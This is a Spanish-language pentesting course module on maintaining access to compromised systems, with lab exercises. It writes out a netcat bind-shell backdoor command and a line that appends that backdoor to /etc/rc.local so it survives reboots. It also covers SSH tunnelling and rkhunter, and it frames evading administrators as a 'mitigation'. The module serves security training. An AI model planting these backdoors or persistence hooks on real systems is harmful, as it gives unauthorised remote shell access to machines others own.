Introducción
El mantenimiento del acceso es una fase crucial en el proceso de post-explotación durante una prueba de penetración. Una vez que un pentester ha logrado comprometer un sistema, es esencial asegurar que el acceso se pueda mantener para realizar análisis adicionales, recopilar más información o preparar el terreno para futuras acciones. Este módulo cubrirá las técnicas y herramientas utilizadas para mantener el acceso a un sistema comprometido.
Objetivos de Aprendizaje
Al finalizar este módulo, los estudiantes serán capaces de:
- Comprender la importancia del mantenimiento del acceso en el pentesting.
- Identificar y utilizar diversas técnicas para mantener el acceso a sistemas comprometidos.
- Implementar herramientas y scripts para automatizar el mantenimiento del acceso.
- Reconocer y mitigar los riesgos asociados con el mantenimiento del acceso.
Conceptos Clave
- Backdoors
Una backdoor es un método para eludir la autenticación normal y obtener acceso remoto a un sistema comprometido. Las backdoors pueden ser instaladas manualmente o mediante scripts automatizados.
- Rootkits
Los rootkits son conjuntos de herramientas diseñadas para ocultar la presencia de ciertos procesos o programas en el sistema, permitiendo al atacante mantener el acceso sin ser detectado.
- Túneles y Proxies
Los túneles y proxies permiten a los atacantes redirigir el tráfico de red a través de sistemas comprometidos, facilitando el acceso remoto y la comunicación segura.
- Persistencia
La persistencia se refiere a las técnicas utilizadas para asegurar que el acceso se mantenga incluso después de reinicios del sistema o intentos de limpieza por parte de los administradores.
Técnicas de Mantenimiento del Acceso
- Instalación de Backdoors
Ejemplo de Backdoor con Netcat
Netcat es una herramienta versátil que puede ser utilizada para crear backdoors simples.
Explicación:
nc
: Comando para ejecutar Netcat.-lvp 4444
: Escucha en el puerto 4444.-e /bin/bash
: Ejecuta una shell bash cuando se establece una conexión.
Ejercicio:
- Instala Netcat en un sistema de prueba.
- Configura una backdoor utilizando el comando anterior.
- Conéctate a la backdoor desde otro sistema utilizando:
nc <IP_del_sistema_comprometido> 4444
- Uso de Rootkits
Ejemplo de Rootkit: rkHunter
rkHunter
es una herramienta que puede ser utilizada para detectar rootkits, pero también se puede estudiar para entender cómo funcionan.
# Instalación de rkHunter sudo apt-get install rkhunter # Ejecución de rkHunter sudo rkhunter --check
Explicación:
rkhunter --check
: Escanea el sistema en busca de rootkits conocidos.
Ejercicio:
- Instala
rkHunter
en un sistema de prueba. - Ejecuta un escaneo y analiza los resultados.
- Configuración de Túneles y Proxies
Ejemplo de Túnel SSH
Un túnel SSH puede ser utilizado para redirigir el tráfico a través de un sistema comprometido.
Explicación:
-L 8080:localhost:80
: Redirige el puerto 8080 del sistema atacante al puerto 80 del sistema comprometido.
Ejercicio:
- Configura un túnel SSH utilizando el comando anterior.
- Accede a un servicio web en el sistema comprometido a través del túnel.
- Implementación de Persistencia
Ejemplo de Script de Persistencia
Un script de persistencia puede ser añadido a los scripts de inicio del sistema para asegurar que una backdoor se ejecute después de cada reinicio.
Explicación:
echo "nc -lvp 4444 -e /bin/bash" >> /etc/rc.local
: Añade el comando de Netcat al script de inicio del sistema.
Ejercicio:
- Añade un comando de backdoor al script de inicio del sistema.
- Reinicia el sistema y verifica que la backdoor se ejecute automáticamente.
Riesgos y Mitigaciones
Riesgos
- Detección por Administradores: Las técnicas de mantenimiento del acceso pueden ser detectadas por administradores de sistemas.
- Compromiso de Seguridad: Mantener el acceso puede comprometer la seguridad del sistema y exponerlo a otros atacantes.
Mitigaciones
- Uso de Técnicas de Evasión: Utilizar técnicas avanzadas para evadir la detección, como rootkits y cifrado de tráfico.
- Monitoreo y Auditoría: Implementar monitoreo y auditoría continua para detectar y mitigar accesos no autorizados.
Conclusión
El mantenimiento del acceso es una fase crítica en el pentesting que permite a los atacantes asegurar su presencia en un sistema comprometido. A través de técnicas como la instalación de backdoors, el uso de rootkits, la configuración de túneles y proxies, y la implementación de scripts de persistencia, los pentesters pueden mantener el acceso y continuar con sus actividades de evaluación de seguridad. Sin embargo, es esencial ser consciente de los riesgos asociados y tomar medidas para mitigarlos.
Resumen
- Backdoors: Métodos para obtener acceso remoto.
- Rootkits: Herramientas para ocultar la presencia de procesos.
- Túneles y Proxies: Redirigir tráfico de red.
- Persistencia: Asegurar el acceso después de reinicios.
Próximos Pasos
En el siguiente módulo, exploraremos la Cobertura de Huellas, donde aprenderemos cómo ocultar las actividades realizadas durante una prueba de penetración para evitar la detección.
Curso de Pentesting: Técnicas de Pruebas de Penetración
Módulo 1: Introducción al Pentesting
Módulo 2: Reconocimiento y Recolección de Información
Módulo 3: Escaneo y Enumeración
Módulo 4: Explotación de Vulnerabilidades
- Introducción a la Explotación
- Explotación de Vulnerabilidades Web
- Explotación de Vulnerabilidades de Red
- Explotación de Vulnerabilidades de Sistemas